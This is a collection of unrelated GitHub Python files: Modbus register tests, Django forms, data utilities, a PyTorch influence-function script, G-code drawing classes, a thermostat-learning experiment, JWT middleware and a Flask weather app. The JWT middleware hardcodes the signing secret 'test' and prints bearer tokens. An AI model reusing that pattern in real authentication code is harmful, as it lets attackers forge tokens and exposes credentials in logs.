different banks aren't comparable.\"\"\"\n    assert HoldingRegister(0) == HoldingRegister(0)\n    assert InputRegister(0) == InputRegister(0)\n    assert HoldingRegister(0) != InputRegister(0)\n\n\ndef test_registers_unique_names():\n    \"\"\"Ensure registers have unique names despite their location.\"\"\"\n    holding_register_names = set(HoldingRegister.__members__.keys())\n    input_register_names = set(InputRegister.__members__.keys())\n\n    assert holding_register_names.intersection(input_register_names) == set()\n\n\ndef _gen_binary(x) -> str:\n    v4 = bin(x % 16)[2:].zfill(4)\n    x >>= 4\n    v3 = bin(x % 16)[2:].zfill(4)\n    x >>= 4\n    v2 = bin(x % 16)[2:].zfill(4)\n    x >>= 4\n    v1 = bin(x % 16)[2:].zfill(4)\n    return ' '.join([v1, v2, v3, v4])\n\n\n@pytest.mark.parametrize(\"val\", [0, 0x32, 0x7FFF, 0x8000, 0xFFFF])\n@pytest.mark.parametrize(\"scaling\", [1000, 10, 1, 0.1, 0.01])\ndef test_repr(val: int, scaling: float):\n    \"\"\"Ensure we render types correctly.\"\"\"\n    if scaling != 1:\n        assert Type.UINT16.repr(val, scaling) == f'{val / scaling:0.02f}'\n    else:\n        assert Type.UINT16.repr(val, scaling) == str(val)\n\n    if scaling != 1:\n        if val > 0x7FFF:  # this should be negative\n            assert Type.INT16.repr(val, scaling) == f'{(val - 2 ** 16) / scaling:0.02f}'\n        else:\n            assert Type.INT16.repr(val, scaling) == f'{val / scaling:0.02f}'\n    else:\n        if val > 0x7FFF:  # this should be negative\n            assert Type.INT16.repr(val, scaling) == str(val - 2**16)\n        else:\n            assert Type.INT16.repr(val, scaling) == str(val)\n\n    if scaling != 1:\n        assert Type.UINT32_LOW.repr(val, scaling) == f'{val / scaling:0.02f}'\n        assert Type.UINT32_HIGH.repr(val, scaling) == f'{(val * 2 ** 16) / scaling:0.02f}'\n    else:\n        assert Type.UINT32_LOW.repr(val, scaling) == str(val)\n        assert Type.UINT32_HIGH.repr(val, scaling) == str(val * 2**16)\n\n    assert Type.UINT8.repr(val, scaling) == str(val % 256)\n    assert Type.DUINT8.repr(val, scaling) == f'{val // 256}, {val % 256}'\n\n    assert Type.BITFIELD.repr(val, scaling) == _gen_binary(val)\n\n    assert Type.HEX.repr(val, scaling) == f'0x{val:04x}'\n\n    # scaling doesn't make sense for ascii types\n    # non-ascii values will not decode properly\n    if val // 256 < 128 and val % 256 < 128:\n        assert Type.ASCII.repr(val, scaling) == val.to_bytes(2, byteorder='big').decode(encoding='ascii')\n    else:\n        with pytest.raises(UnicodeDecodeError) as e:\n            Type.ASCII.repr(val, scaling)\n        assert e.value.args[0] == 'ascii'\n        assert e.value.args[4] == 'ordinal not in range(128)'\n\n    # the assumption is that booleans are simply true if the value is non-0\n    assert Type.BOOL.repr(val, scaling) == str(val != 0)\n\n\n@pytest.mark.parametrize(\"val\", [0, 0x32, 0x7FFF, 0x8000, 0xFFFF])\n@pytest.mark.parametrize(\"scaling\", [1, 10, 100, 1000])\ndef test_convert(val: int, scaling: int):\n    \"\"\"Ensure we render types correctly.\"\"\"\n    assert Type.UINT16.convert(val, scaling) == val / scaling\n\n    if val > 0x7FFF:  # this should be negative\n        assert Type.INT16.convert(val, scaling) == (val - 2**16) / scaling\n    else:\n        assert Type.INT16.convert(val, scaling) == val / scaling\n\n    assert Type.UINT32_LOW.convert(val, scaling) == val / scaling\n    assert Type.UINT32_HIGH.convert(val, scaling) == (val * 2**16) / scaling\n\n    assert Type.UINT8.convert(val, scaling) == val % 256\n    assert Type.DUINT8.convert(val, scaling) == ((val // 256), (val % 256))\n\n    assert Type.BITFIELD.convert(val, scaling) == val\n\n    assert Type.HEX.convert(val, scaling) == f'{hex(val)[2:]:>04}'\n\n    # scaling doesn't make sense for ascii types\n    # non-ascii values will not decode properly\n    if val // 256 < 128 and val % 256 < 128:\n        assert Type.ASCII.convert(val, scaling) == val.to_bytes(2, byteorder='big').decode(encoding='ascii')\n    else:\n        with pytest.raises(UnicodeDecodeError) as e:\n            Type.ASCII.convert(val, scaling)\n        assert e.value.args[0] == 'ascii'\n        assert e.value.args[4] == 'ordinal not in range(128)'\n\n    # the assumption is that booleans are simply true if the value is non-0\n    assert Type.BOOL.convert(val, scaling) is (val != 0)\n\n\n@pytest.mark.parametrize(\"scaling\", [1000, 10, 1, 0.1, 0.01])\ndef test_render_time(scaling: float):\n    \"\"\"Ensure we can convert BCD-encoded time slots.\"\"\"\n    assert Type.TIME.convert(0, scaling) == datetime.time(hour=0, minute=0)\n    assert Type.TIME.convert(30, scaling) == datetime.time(hour=0, minute=30)\n    assert Type.TIME.convert(60, scaling) == datetime.time(hour=0, minute=0)  # what _does_ 60 mean?\n    assert Type.TIME.convert(430, scaling) == datetime.time(hour=4, minute=30)\n    assert Type.TIME.convert(123, scaling) == datetime.time(hour=1, minute=23)\n    assert Type.TIME.convert(234, scaling) == datetime.time(hour=2, minute=34)\n    assert Type.TIME.convert(678, scaling) == datetime.time(hour=6, minute=18)\n    # with pytest.raises(ValueError) as e:\n    #     Type.TIME.convert(678, scaling)\n    # assert e.value.args[0] == 'minute must be in 0..59'\n    with pytest.raises(ValueError) as e:\n        Type.TIME.convert(9999, scaling)\n    assert e.value.args[0] == 'hour must be in 0..23'\n\n\n@pytest.mark.parametrize(\"scaling\", [1000, 10, 1, 0.1, 0.01])\ndef test_render_power_factor(scaling: float):\n    \"\"\"Ensure we can convert BCD-encoded time slots.\"\"\"\n    assert Type.POWER_FACTOR.convert(0, scaling) == -1.0\n    assert Type.POWER_FACTOR.convert(5000, scaling) == -0.5\n    assert Type.POWER_FACTOR.convert(10000, scaling) == 0.0\n    assert Type.POWER_FACTOR.convert(15000, scaling) == 0.5\n    assert Type.POWER_FACTOR.convert(20000, scaling) == 1.0\n","repo_name":"stevensoave/givenergy-modbus","sub_path":"tests/model/test_register.py","file_name":"test_register.py","file_ext":"py","file_size_in_byte":8665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39905763318","text":"'''\nCreated on 23/4/2015\n\n@author: meliam\n'''\nfrom django.forms.models import ModelForm\nfrom IS2_R09.apps.Sprint.models import sprint\nfrom django import forms\n\n\"\"\"Muestra los formularios de Sprint.\n   \n\"\"\"\n\nclass sprint_form(ModelForm):\n    fecha_inicio = forms.DateField(required=False,widget=forms.TextInput(attrs={'class': 'campos'}))\n    fecha_fin = forms.DateField(required=False,widget=forms.TextInput(attrs={'class': 'campos'}))\n    # release_asociado = forms.CharField(required=False,widget=forms.Textarea(attrs={'class': 'textarea'}))\n    #flujo_asociado = forms.CharField(widget=forms.Textarea(attrs={'class': 'textarea'}))\n    class Meta:\n        model = sprint\n        fields = '__all__'\n        widgets = {\n                   'nombre' : forms.TextInput(attrs={'class':'campos'}),\n                   'descripcion' : forms.Textarea(attrs={'class':'textarea'}),\n                   }\n\n#------------------------------------------------------------------------------------\nclass consultar_sprint_form(ModelForm):\n    id = forms.CharField(label='ID',widget=forms.TextInput(attrs={'readonly':'readonly'}))\n    #nombre = forms.CharField(label='Nombre',widget=forms.TextInput(attrs={'readonly':'readonly'}))\n    fecha_creacion = forms.CharField(label='Fecha de Creacion',widget=forms.TextInput(attrs={'readonly':'readonly'}))\n    fecha_inicio = forms.CharField(label='Fecha de Inicio',widget=forms.TextInput(attrs={'readonly':'readonly'}))\n    fecha_fin = forms.CharField(label='Fecha de Finalizacion',widget=forms.TextInput(attrs={'readonly':'readonly'}))\n    #release_asociado = forms.CharField(label='Release Asociado',widget=forms.TextInput(attrs={'readonly':'readonly'}))\n    #flujo_asociado = forms.CharField(label='Flujo Asociado',widget=forms.TextInput(attrs={'readonly':'readonly'}))\n    class Meta:\n        model = sprint\n        fields = '__all__'\n        widgets = {\n                   'nombre' : forms.TextInput(attrs={'class':'campos','readonly':'readonly'}),\n                   'descripcion' : forms.Textarea(attrs={'class':'textarea','readonly':'readonly'}),\n                   }\n#    help_texts = {\n#           'username': (''),\n#      }\n        \n\n#------------------------------------------------------------------------------------\nclass buscar_sprint_form(forms.Form):\n    BUSCAR_POR = {\n                  ('nombre','Nombre'),\n                  }\n    opciones = forms.ChoiceField(label='Buscar Por',required=True,widget=forms.Select(),choices=BUSCAR_POR)\n    busqueda = forms.CharField(widget=forms.TextInput())","repo_name":"ssruiz/IS2_R09","sub_path":"IS2_R09/apps/Sprint/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31684873235","text":"import os\n\n\n\n\ndef simplify_path(path,remove_gz=True):\n    \"\"\"Removes dir and extension from a filepath.\n        checks if file has an e\n    \"\"\"\n    name,ext= os.path.splitext(os.path.basename(path))\n\n    if remove_gz & (ext=='.gz'):\n        name=  os.path.splitext(name)[0]\n\n    return name\n\ndef cat_files(files,outfilename,gzip=False):\n    \"\"\" cat files in python\n        gzip: compress outfile\n        set to false when cat files that are already gzipped.\n    \"\"\"\n\n    import shutil\n\n    if gzip:\n        import gzip as gz\n        outhandle= gz.open\n    else:\n        outhandle = open\n\n    with outhandle(outfilename, 'wb') as f_out:\n        for f in files:\n            with open(f, 'rb') as f_in:\n                shutil.copyfileobj(f_in, f_out)\n\ndef convert_percentages(df):\n    \"\"\"Convet all columns with strings and % at the end to percentages\n    \"\"\"\n    for col in df.columns:\n        if df.dtypes[col]=='object':\n            if df[col].iloc[0].endswith('%'):\n                df.loc[:,col]= df[col].str.rstrip('%').astype('float') / 100.0\n\n\ndef symlink_relative(files,input_dir,output_dir):\n    \"\"\"create symlink with and adjust for relative path\"\"\"\n\n\n    input_dir_rel= os.path.relpath(input_dir, output_dir)\n\n    for f in files:\n        os.symlink(os.path.join(input_dir_rel,f),\n                   os.path.join(output_dir,f))\n\ndef pandas_concat(input_tables,output_table,sep='\\t',index_col=0,axis=0,\n                  read_arguments=None,save_arguments=None,concat_arguments=None):\n    \"\"\"\n        Uses pandas to read,concatenate and save tables using pandas.concat\n    \"\"\"\n\n    import pandas as pd\n\n    if read_arguments is None:\n        read_arguments={}\n    if save_arguments is None:\n        save_arguments={}\n    if concat_arguments is None:\n        concat_arguments={}\n\n    if type(input_tables) == str:\n        input_tables= [input_tables]\n\n    Tables= [pd.read_csv(file,index_col=index_col,sep=sep,**read_arguments) for file in input_tables]\n\n    out= pd.concat(Tables,axis=axis,**concat_arguments).sort_index()\n\n    out.to_csv(output_table,sep=sep,**save_arguments)\n","repo_name":"metagenome-atlas/genecatalog_atlas","sub_path":"scripts/utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"25834636943","text":"#!/bin/python3\n# -*- coding: utf-8 -*-\n\nimport sys\n\ndef findByDicho(tab,elt):\n    n = len(tab)\n    inf = 0\n    sup = n-1\n    while True:\n        middle = ( inf + sup ) // 2\n        if tab[middle] == elt :\n            return tab[middle]\n        else:\n            if sup <= inf :\n                tab2 = [ abs(elt-tab[(middle+i)%n]) for i in range(-1,2) ]\n                return tab[(middle+tab2.index(min(tab2))-1)%n]\n            if elt < tab[middle] :\n                sup = middle - 1\n            elif tab[middle] < elt:\n                inf = middle + 1\n\ndef main():\n    n = int(sys.stdin.readline())\n    densities = [ int(e) for e in sys.stdin.readline().split(' ')[:n] ]\n    q = int(sys.stdin.readline())\n    requests = [ int(sys.stdin.readline()) for _ in range(q) ]\n\n    densities.sort()\n    results = []\n\n    for req in requests:\n        print(findByDicho(densities,req))\n\nif __name__ == '__main__':\n    main()","repo_name":"phileas29/france-ioi","sub_path":"niveau_3/tris_simples/densite_plus_proche.py","file_name":"densite_plus_proche.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3109070518","text":"import six\nimport utility\nfrom hvp import hvp\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom torch.autograd import grad\n\n\ndef s_test(z_test, t_test, model, z_loader, gpu=-1, damp=0.01, scale=25.0, repeat=5000):\n    v = grad_z(z_test, t_test, model, gpu)\n    h_estimates = v.copy()\n\n    for i in utility.create_progressbar(repeat, desc='s_test'):\n        for x, t in z_loader:\n            x, t = Variable(x, volatile=False), Variable(t, volatile=False)\n            if gpu >= 0:\n                x, t = x.cuda(gpu), t.cuda(gpu)\n            y = model(x)\n            loss = F.nll_loss(y, t, weight=None, size_average=True)\n            hv = hvp(loss, list(model.parameters()), h_estimates)\n            h_estimate = [_v + (1 - damp) * h_estimate - _hv / scale for _v, h_estimate, _hv in six.moves.zip(v, h_estimates, hv)]\n            break\n    return h_estimate\n\n\ndef grad_z(z, t, model, gpu=-1):\n    model.eval()\n    # initialize\n    z, t = Variable(z, volatile=False), Variable(t, volatile=False)\n    if gpu >= 0:\n        z, t = z.cuda(gpu), t.cuda(gpu)\n        model.cuda(gpu)\n    y = model(z)\n    loss = F.nll_loss(y, t, weight=None, size_average=True)\n    return list(grad(loss, list(model.parameters()), create_graph=True))\n\n\nif __name__ == '__main__':\n    from trainer_mnist import MnistTrainer\n    from net import Net\n    from optimizers import MomentumSGD\n    model = Net()\n    optimizer = MomentumSGD(model, 0, 0)\n    main = MnistTrainer(model, optimizer, train_batch_size=1)\n    z_test, t_test = main.test_loader.dataset[0]\n    z_test, t_test = main.test_loader.collate_fn([z_test]), main.test_loader.collate_fn([t_test])\n    test = s_test(z_test, t_test, model, main.train_loader, gpu=-1)\n","repo_name":"rarilurelo/influence_function","sub_path":"influence_function.py","file_name":"influence_function.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"818094329","text":"from math import cos, sin, radians\nimport pprint, re, textwrap\n\nclass Entity:\n\tdef get_gcode(self,context):\n\t\t#raise NotImplementedError()\n\t\treturn \"NIE\"\n\nclass Line(Entity):\n\tdef __str__(self):\n\t\treturn \"Line from [%.2f, %.2f] to [%.2f, %.2f]\" % (self.start[0], self.start[1], self.end[0], self.end[1])\n\tdef get_gcode(self,context):\n\t\t\"Emit gcode for drawing line\"\n\t\tcontext.codes.append(\"(\" + str(self) + \")\")\n\t\tcontext.go_to_point(self.start[0],self.start[1])\n\t\tcontext.draw_to_point(self.end[0],self.end[1])\n\t\tcontext.codes.append(\"\")\n\nclass Circle(Entity):\n\tdef __str__(self):\n\t\treturn \"Circle at [%.2f,%.2f], radius %.2f\" % (self.center[0], self.center[1], self.radius)\n\tdef get_gcode(self,context):\n\t\t\"Emit gcode for drawing arc\"\n\t\tstart = (self.center[0] - self.radius, self.center[1])\n\t\tarc_code = \"G3 I%.2f J0 F%.2f\" % (self.radius, context.xy_feedrate)\n\n\t\tcontext.codes.append(\"(\" + str(self) + \")\")\n\t\tcontext.go_to_point(start[0],start[1])\n\t\tcontext.start()\n\t\tcontext.codes.append(arc_code)\n\t\tcontext.stop()\n\t\tcontext.codes.append(\"\")\n\nclass Arc(Entity):\n\tdef __str__(self):\n\t\treturn \"Arc at [%.2f, %.2f], radius %.2f, from %.2f to %.2f\" % (self.center[0], self.center[1], self.radius, self.start_angle, self.end_angle)\n\n\tdef find_point(self,proportion):\n\t\t\"Find point at the given proportion along the arc.\"\n\t\tdelta = self.end_angle - self.start_angle\n\t\tangle = self.start_angle + delta*proportion\n\t\t\n\t\treturn (self.center[0] + self.radius*cos(angle), self.center[1] + self.radius*sin(angle))\n\n\tdef get_gcode(self,context):\n\t\t\"Emit gcode for drawing arc\"\n\t\tstart = self.find_point(0)\n\t\tend = self.find_point(1)\n\t\tdelta = self.end_angle - self.start_angle\n\n\t\tif (delta < 0):\n\t\t\tarc_code = \"G3\"\n\t\telse:\n\t\t\tarc_code = \"G3\"\n\t\tarc_code = arc_code + \" X%.2f Y%.2f I%.2f J%.2f F%.2f\" % (end[0], end[1], self.center[0] - start[0], self.center[1] - start[1], context.xy_feedrate)\n\n\t\tcontext.codes.append(\"(\" + str(self) + \")\")\n\t\tcontext.go_to_point(start[0],start[1])\n\t\tcontext.last = end\n\t\tcontext.start()\n\t\tcontext.codes.append(arc_code)\n\t\tcontext.stop()\n\t\tcontext.codes.append(\"\")\n        \nclass Ellipse(Entity):\n        #NOT YET IMPLEMENTED\n\tdef __str__(self):\n\t\treturn \"Ellipse at [%.2f, %.2f], major [%.2f, %.2f], minor/major %.2f\" + \" start %.2f end %.2f\" % \\\n\t\t(self.center[0], self.center[1], self.major[0], self.major[1], self.minor_to_major, self.start_param, self.end_param)\n\nhex_to_decimal = {\n    \"0\": 0,\n    \"1\": 1,\n    \"2\": 2,\n    \"3\": 3,\n    \"4\": 4,\n    \"5\": 5,\n    \"6\": 6,\n    \"7\": 7,\n    \"8\": 8,\n    \"9\": 9,\n    \"a\": 10,\n    \"b\": 11,\n    \"c\": 12,\n    \"d\": 13,\n    \"e\": 14,\n    \"f\": 15\n}\n\nhexBasicColorValues = [0, 128, 192, 255]\n\nbasicColorsMap = {\n\t(0, 0, 0): \"black\",\n\t(255, 255, 255): \"white\",\n\t(255, 0, 0): \"red\",\n\t(0, 255, 0): \"green\",\n\t(0, 0, 255): \"blue\",\n\t(255, 255, 0): \"yellow\",\n\t(0, 255, 255): \"cyan\",\n\t(255, 0, 255): \"magenta\",\n\t(192, 192, 192): \"gray\",\n\t(128, 0, 0): \"maroon\",\t\n\t(128, 0, 128): \"purple\"\n}\n\n\ndef closest(lst, K):  \n    return lst[min(range(len(lst)), key = lambda i: abs(lst[i]-K))] \n\ndef colorMap(hexValue):\n\thexValue = hexValue[1:]\n\tvalues = textwrap.wrap(hexValue,2)\n\tred = 16* hex_to_decimal[values[0][0]] + hex_to_decimal[values[0][1]]\n\tgreen = 16 * hex_to_decimal[values[1][0]] + hex_to_decimal[values[1][1]]\n\tblue = 16* hex_to_decimal[values[2][0]] + hex_to_decimal[values[2][1]]\n\tred = closest(hexBasicColorValues, red)\n\tgreen = closest(hexBasicColorValues, green)\n\tblue = closest(hexBasicColorValues, blue)\n\tcolor = basicColorsMap.get((red, green, blue))\n\tif color is None:\n\t\treturn \"black\"\n\treturn color\n\t\nbasicColorsToCodeMap = {\n\t\"black\": \"10\",\n\t\"white\": \"20\",\n\t\"red\": \"30\",\n\t\"green\": \"40\",\n\t\"blue\": \"50\",\n\t\"yellow\": \"60\",\n\t\"cyan\": \"70\",\n\t\"magenta\": \"80\",\n\t\"gray\": \"90\",\n\t\"maroon\": \"100\",\t\n\t\"purple\": \"110\"\n}\n\nclass PolyLine(Entity):\n\tdef __str__(self):\n\t\treturn \"Polyline consisting of %d segments.\" % len(self.segments)\n\n\tdef get_gcode(self,context):\n\t\t\"Emit gcode for drawing polyline\"\n\t\tif hasattr(self, 'segments'):\n\t\t\tfor points in self.segments:\n\t\t\t\tstart = points[0]\n\t\t\t\tcontext.codes.append(\"(\" + str(self) + \")\")\n\t\t\t\tcontext.go_to_point(start[0],start[1])\n\t\t\t\tsubs = re.findall(\"#[0-9A-Fa-f]*\",self.pathStyle)\n\t\t\t\tif len(subs) == 2:\n\t\t\t\t\tcolor = colorMap(subs[1])\n\t\t\t\telif len(subs) == 1:\n\t\t\t\t\tcolor = colorMap(subs[0])\n\t\t\t\telse: \n\t\t\t\t\tcolor = \"black\"\n\t\t\t\tcolorCommand = \"C \" + basicColorsToCodeMap.get(color) + \" (\" + color + \")\" \n\t\t\t\tcontext.codes.append(colorCommand)\n\t\t\t\tcontext.start()\n\t\t\t\tfor point in points[1:]:\n\t\t\t\t\tcontext.draw_to_point(point[0],point[1])\n\t\t\t\t\tcontext.last = point\n\t\t\t\tcontext.stop()\n\t\t\t\tcontext.codes.append(\"\")\n\n","repo_name":"Simmiyo/Robotics-Arduino","sub_path":"FinalProject/unicorn/entities.py","file_name":"entities.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14022927640","text":"import numpy as np\nimport cvxpy as cp\nfrom tqdm import tqdm\nimport random\nimport time\nimport torch\nimport torch.nn as nn\nimport torch.autograd as autograd\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nfrom numpy import linalg \nfrom itertools import accumulate\nimport pandas as pd\nfrom utils import solve, model\nimport argparse\n\ndef train(layer, true, iters=1000, choice=1, random_seed=1, show=False):\n    torch.manual_seed(random_seed)\n    np.random.seed(random_seed)\n    pn_t = torch.tensor([0.05]).double().requires_grad_(True)\n    a1_t = torch.tensor([0.5]).double().requires_grad_(True)\n    a3_t = torch.tensor([0.5]).double().requires_grad_(True)\n    max_theta_t = torch.tensor([18.5]).double().requires_grad_(True)   \n    min_theta_t = torch.tensor([18]).double().requires_grad_(True)\n    max_power_t = torch.tensor([1.0]).double().requires_grad_(True)\n    variables = [pn_t,a1_t,a3_t,max_theta_t,min_theta_t,max_power_t]\n    \n    results = []\n    record_variables = []\n    optimizer = torch.optim.Adam(variables, lr=0.15)\n    for i in range(iters):\n\n        pred = layer(*variables)\n        if choice==1:\n            loss = nn.MSELoss()(true[0], pred[0]) + nn.MSELoss()(true[1], pred[1])\n        else:\n            loss = nn.MSELoss()(true[0], pred[0]) \n\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n        \n        with torch.no_grad():\n            pn_t.data = torch.clamp(pn_t.data, min=0.01, max=0.1) \n            a1_t.data = torch.clamp(a1_t.data, min=0.01, max=1) \n            a3_t.data = torch.clamp(a3_t.data, min=0.01, max=1) \n            max_power_t.data = torch.clamp(max_power_t.data, min=0.1, max=10) \n        \n        results.append(loss.item())\n        if i % 100==0: print(\"(iter %d) loss: %g \" % (i, results[-1]))\n        if i == 50:\n            optimizer.param_groups[0][\"lr\"] = 0.1\n        if i == 200:\n            optimizer.param_groups[0][\"lr\"] = 0.05\n        if i == 800:\n            optimizer.param_groups[0][\"lr\"] = 0.01\n        if show:\n            im = plt.plot(results,color='gray')\n            anno = plt.annotate(f'step:{i}\\n loss={loss}', xy=(0.85, 0.9), xycoords='axes fraction',color='black')\n            plt.axis(\"equal\")\n            plt.pause(0.001)\n            anno.remove()\n        record_variables.append([v.detach().numpy().copy() for v in variables])\n    \n    return [v.detach().numpy().copy() for v in variables], record_variables\n\ndef experiment(layer,seed1,theta_0, price, amb, choice, seed2, show, T=24*5):\n    \n    np.random.seed(seed1)\n    price = price_data[:T]\n    amb = amb_data[:T]\n    \n    C_th = 10 * np.random.uniform(0.9,1.1)\n    R_th = 2 * np.random.uniform(0.9,1.1)\n    P_n = 5 * np.random.uniform(0.9,1.1)\n    eta = 2.5 * np.random.uniform(0.9,1.1)\n    theta_r = 20 * np.random.uniform(0.9,1.1)\n    Delta = np.random.uniform(0.9,1.1)\n    \n    pn_value = 0.02 # you can change it as you like\n    a1_value = round(1 - 1/(R_th*C_th),4)\n    a2_value = eta*R_th\n    a3_value = round((1-a1_value)*a2_value,6)\n    max_theta = round(theta_r + Delta,3)\n    min_theta = round(theta_r - Delta,3)\n    max_power = round(P_n,3)\n    params = {'pn':pn_value, 'a1':a1_value, 'a2':a2_value, 'a3': a3_value,\n          'max_theta':max_theta, 'min_theta':min_theta, 'max_power':max_power}\n    print(params)  \n    \n    true = solve(price, amb, T, pn_value, a1_value, a3_value, max_theta, min_theta, max_power, theta_0, tensor=True)\n\n    variables, record = train(layer, true, 600, choice, seed2, show)\n    \n    pn_ = ((variables[0][0] - pn_value)**2)**0.5\n    a1_ = ((variables[1][0] - a1_value)**2)**0.5\n    a3_ = ((variables[2][0] - a3_value)**2)**0.5\n    max_theta_ = ((variables[3][0] - max_theta)**2)**0.5\n    min_theta_ = ((variables[4][0] - min_theta)**2)**0.5\n    max_power_ = ((variables[5][0] - max_power)**2)**0.5\n    print(pn_,a1_,a3_,max_theta_,min_theta_,max_power_)\n    \n    return [v[0] for v in variables], [pn_value,a1_value,a3_value,max_theta,min_theta,max_power], [pn_,a1_,a3_,max_theta_,min_theta_,max_power_]\n    \nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--num\", type=int, default=10, help=\"the number of experiments\")\n    parser.add_argument(\"--save\", type=bool, default=False, help=\"whether to save the result\")\n    parser.add_argument(\"--show\", type=bool, default=False, help=\"whether to show the real-time training loss\")\n    parser.add_argument(\"--T\", type=int, default=120, help=\"the length of the training data\")\n    parser.add_argument(\"--seed\", type=int, default=1, help=\"the training random seed\")\n    parser.add_argument(\"--choice\", type=int, default=1, help=\"1 for OptNet1 and 2 or OptNet2, indicated in the paper\")\n    \n    opts = parser.parse_args()\n    \n    amb_data = np.array(pd.read_excel('dataset/input_data_pool.xlsx',sheet_name='theta_amb')['theta_amb'])\n    price_data = np.array(pd.read_excel('dataset/input_data_pool.xlsx',sheet_name='price')['price'])\n    \n    #theta_0 = 21.64671372 # according to one history sample, you can change it as you like\n    theta_0 = 35.00\n    layer1 = model(price_data, amb_data, theta_0, opts.T)\n\n    record = []\n    record_variable = []\n    record_true = []\n    for i in range(opts.num):\n        try:\n            r1, r2, r3 = experiment(layer1, i, theta_0, price_data, amb_data, opts.choice, opts.seed, opts.show, opts.T)\n        except Exception as e:\n            continue\n        record_variable.append(r1.copy())\n        record_true.append(r2.copy())\n        record.append(r3.copy())\n    estimated_p = pd.DataFrame(data=record_variable, columns=['pn','a1','a3','max_t','min_t','max_p'])\n    true_p = pd.DataFrame(data=record_true, columns=['pn','a1','a3','max_t','min_t','max_p'])\n    mse = pd.DataFrame(data=record, columns=['pn','a1','a3','max_t','min_t','max_p'])\n\n    if opts.save:\n        present_time = time.strftime(\"%m%d%H%M\", time.localtime()) \n        file_name = f\"result_data/opt{opts.choice}_seed{opts.seed}_{present_time}.csv\"\n        total_df=pd.concat([estimated_p, true_p, mse])\n        total_df.to_csv(file_name)\n","repo_name":"alwaysbyx/e2e-DR-learning","sub_path":"building-model/gradient_method.py","file_name":"gradient_method.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"44108326115","text":"import jwt\n\nfrom falmer.auth.models import FalmerUser\n\n\nclass MSLJWTMiddleware:\n    def __init__(self, get_response):\n        self.get_response = get_response\n    # One-time configuration and initialization.\n\n    def __call__(self, request):\n        # Code to be executed for each request before\n        # the view (and later middleware) are called.\n\n        try:\n            token = request.META['HTTP_AUTHORIZATION'][7:]\n            if token != '':\n                print(f'token \"{token}\"')\n                decoded = jwt.decode(token, 'test', algorithms=['HS256'])\n\n                user = FalmerUser.objects.get_or_create_msl_user(decoded)\n\n                request.user = user\n        except (KeyError, jwt.DecodeError) as e:\n            print(e)\n\n        response = self.get_response(request)\n\n        # Code to be executed for each request/response after\n        # the view is called.\n\n        return response\n","repo_name":"sussexstudent/falmer","sub_path":"falmer/auth/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"12669830832","text":"import requests\r\nfrom flask import Flask, render_template, request, redirect, url_for\r\nfrom consts import API_KEY as api_key\r\nfrom datetime import datetime, timedelta\r\n\r\napp = Flask(__name__)\r\n\r\n#gets the weather data from api.weatherapi.com\r\ndef get_weather_data(city, date):\r\n    base_url = f'http://api.weatherapi.com/v1/history.json?key={api_key}&q={city}&dt={date}'\r\n    response = requests.get(base_url)\r\n    data = response.json()\r\n    return data\r\n\r\n#gets the prayer times\r\ndef get_prayer_times(city, date):\r\n    base_url = f'http://api.aladhan.com/v1/timingsByCity?city={city}&country=CountryName&date={date}&method=2'\r\n    response = requests.get(base_url)\r\n    data = response.json()\r\n    return data\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef index():\r\n    if request.method == 'POST':\r\n        city = request.form['city']\r\n        date = request.form['date']\r\n        # weather_data = get_weather_data(city, date)\r\n        # prayer_times = get_prayer_times(city, date)\r\n        return redirect(url_for('response', city=city, date=date))\r\n\r\n    return render_template('index.html')\r\n\r\n@app.route('/response/<city>/<date>')\r\ndef response(city, date):\r\n    # if request.remote_addr:\r\n    #     print('id: ' + str(request.remote_addr))\r\n    # else:\r\n    #     print('no ip? wtf')\r\n    \r\n    weather_data = get_weather_data(city, date)\r\n    prayer_times = get_prayer_times(city, date)\r\n    formatted_datetime = (datetime.utcnow() + timedelta(hours=3)).strftime('%d/%m/%Y %H:%M')\r\n    required_data = {\r\n        'Time': formatted_datetime,\r\n        'High': weather_data['forecast']['forecastday'][0]['day']['maxtemp_c'],\r\n        'Low': weather_data['forecast']['forecastday'][0]['day']['mintemp_c'],\r\n        'Sunrise': weather_data['forecast']['forecastday'][0]['astro']['sunrise'],\r\n        'Sunset': weather_data['forecast']['forecastday'][0]['astro']['sunset'],\r\n        'Condition': weather_data['forecast']['forecastday'][0]['day']['condition']['text'],\r\n        'Prec': weather_data['forecast']['forecastday'][0]['day']['totalprecip_mm'],\r\n        'Moon': weather_data['forecast']['forecastday'][0]['astro']['moon_illumination'],\r\n        'Date': weather_data['forecast']['forecastday'][0]['date'],\r\n        'Fajr': prayer_times['data']['timings']['Fajr'],\r\n        'IP': str(request.remote_addr) if request.remote_addr else 'idk'\r\n    }\r\n\r\n    print(', '.join([str(x) + ': ' + str(y) for x, y in required_data.items()]))\r\n    return render_template('response.html', weather_data=weather_data, prayer_times=prayer_times)\r\n\r\nif __name__ == '__main__':\r\n    app.run(debug=True)\r\n","repo_name":"GiladBach/itamargei","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
